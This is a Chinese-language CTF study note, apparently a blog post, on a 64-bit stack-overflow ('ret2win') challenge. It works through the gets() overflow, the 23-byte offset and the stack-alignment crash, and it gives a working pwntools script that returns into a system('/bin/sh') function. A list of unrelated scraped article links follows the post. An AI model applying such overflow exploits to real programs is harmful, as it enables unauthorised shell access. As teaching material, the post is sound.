当前位置: 首页 > news >正文

栈学习笔记

rip

checksec是好习惯,图我就不放了。

int __fastcall main(int argc, const char **argv, const char **envp)
{char s[15]; // [rsp+1h] [rbp-Fh] BYREFputs("please input");gets(s, argv);puts(s);puts("ok,bye!!!");return 0;
}
int fun()//0x401186
{return system("/bin/sh");
}

可以看到gets没有限定输入长度,考虑通过栈溢出,修改从gets()出来时的返回地址为0x401186

我们先理解一下32位和64位系统下函数调用栈的布局。

x86下,函数全部通过压栈传参,然后在调用call指令时压上返回地址。之后esp到ebp这一段存储局部变量等信息。

x86-64下,前6个参数通过寄存器传递,超过6个的部分压栈。并且由于编译优化,这里rsp不再往下拓展空间,直接等于rbp。

这道题是64位的。来看看汇编代码!

; Attributes: bp-based frame; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc nears= byte ptr -0Fh; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 10h
lea     rdi, s          ; "please input"
call    _puts
lea     rax, [rbp+s]
mov     rdi, rax
mov     eax, 0
call    _gets
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    _puts
lea     rdi, aOkBye     ; "ok,bye!!!"
call    _puts
mov     eax, 0
leave
retn
; } // starts at 401142
main endp

一开始,s= byte ptr -0Fh把s设定为了[rbp-0xF]这个位置,存储有字符串"please input"lea rdi, s(其实就等价于lea rax, [rbp+s],只不过这里的rbp是最开始的rbp)就是传参的过程,rdi存储了第一个参数,然后调用puts()

所以接下来是相似的过程。我们想知道get(s)中的s在栈上哪个地址,显然就在[rbp-0xF]。所以写入的时候,先随便写0xF个字节填平到rbp,再写0x8个字节覆盖caller's rbp,最后写0x401186覆盖return address即可。

from pwn import *
context.log_level="debug"
io=process("./pwn1")
elf=ELF("./pwn1")
payload=b'a'*23+p64(0x401186)//0xF+0x8=23
io.sendlineafter("please input",payload)
io.interactive()

咦?“Process './pwn1' stopped with exit code -11 (SIGSEGV)”?何意味?

段错误了,要么是访问了不存在或者不可访问的地址,要么就是没有满足栈对齐条件。

什么是栈对齐?

函数调用时,如果rbp保持16字节对齐(即rbp%16==0),对性能有一定提升。在64位下,部分指令强制要求栈对齐,即处于某个函数入口(该函数的第一行指令)时,必须有rbp%16==0,否则报错。如果是通过call指令进行的正常调用,call之前应该有rbp%16==8,之后rbp减去8存储返回地址,跳转到函数入口时恰好有rbp%16==0

(栈对齐只对某些特定指令有强制要求,没对齐不一定会出错)

但我们这里是直接返回到fun()的函数入口处,没有经过call过程,很可能由此触发了栈对齐检查,发现rbp%16==8,报错。

不过没关系,只有函数入口才检查,那我们直接跳过入口,从下一行指令开始就行了嘛。

from pwn import *
context.log_level="debug"
io=process("./pwn1")
elf=ELF("./pwn1")
payload=b'a'*23+p64(0x401186+1)
io.sendlineafter("please input",payload)
io.interactive()

get shell。这其实和之前做堆题时所说的one_gadget很像,也是要求一定的栈布局才能用。

http://www.jsqmd.com/news/354915/

相关文章:

  • 2026年脸盆柜厂家好评榜:卫浴柜/浴室柜/迪普瑞卫浴/迪普瑞浴室柜 - 品牌策略师
  • 2026年台硕检测仪器选购指南,全国适用的靠谱推荐 - 工业品网
  • 2026年广州上海北京等地微高压氧舱专业品牌排名及选购要点分析 - 工业设备
  • 男士洗面奶推荐|闭眼入不踩雷,油皮黑头党必看 - 品牌测评鉴赏家
  • 英语学习逐字翻译真的有用吗?零基础怎么用它快速记单词练口语还能免费听读
  • 2026年乐清市厂房装修公司排行榜:乐清市厂房/找厂房/租厂房/厂房出售/厂房出租 - 品牌策略师
  • 什么是差距
  • 全自研系统门窗价格多少,2026热门品牌费用揭秘 - 工业品网
  • 探讨FHC系列密封胶条源头厂家,怎么选择更靠谱 - mypinpai
  • 2026年降AI率达标率99%的工具推荐:去AIGC痕迹稳过 - 我要发一区
  • 2026年好用的曲轴连杆总成推荐,方易机械值得选吗 - 工业推荐榜
  • 2026年降AI不伤文技巧:去AIGC痕迹保留原意 - 我要发一区
  • 2026年小红书文案降AI痕迹:让内容更有人味 - 我要发一区
  • 2026年不达标可退款的降AI工具:去AIGC痕迹零风险 - 我要发一区
  • 值得推荐的纸盒包装定制公司,礼品、抽屉、高档纸盒定制靠谱吗 - myqiye
  • 2026年公众号降AI痕迹攻略:避免被平台限流 - 我要发一区
  • 2026年答辩前3天降AI率攻略:去AIGC痕迹加急处理 - 我要发一区
  • 2026年沈阳靠谱职业技术总结 聊聊职高生学什么技术好 - 工业设备
  • 2026年多平台检测都能过的降AI工具:去AIGC痕迹全覆盖 - 我要发一区
  • 完整教程:Linux source命令详解与应用场景
  • 2026年AI率太高被打回?这几款去AIGC痕迹工具亲测有效 - 我要发一区
  • 2026年维普AIGC检测怎么过?去痕迹工具实测 - 我要发一区
  • 分析有特色主题的宴席酒店,鼎峰乾龙花园酒店费用合理 - 工业推荐榜
  • 2026年一键降AI工具推荐:去AIGC痕迹最省事的方法 - 我要发一区
  • 黑苹果macOS系统U盘版/恢复版基础安装教程
  • 分布式驱动电动汽车LQR DYC 直接横摆力矩控制 最优/规则扭矩分配控制pid计算纵向扭矩需求
  • 聊聊威劳德,2026年山东地区包装膜厂家排名中它靠谱吗 - myqiye
  • 2026年公文降AI痕迹怎么处理?去AIGC痕迹工具实测 - 我要发一区
  • 2026年三亚美食推荐:解锁十大高口碑湘菜与海鲜餐厅
  • 交稿前一晚!千笔AI,本科生论文救星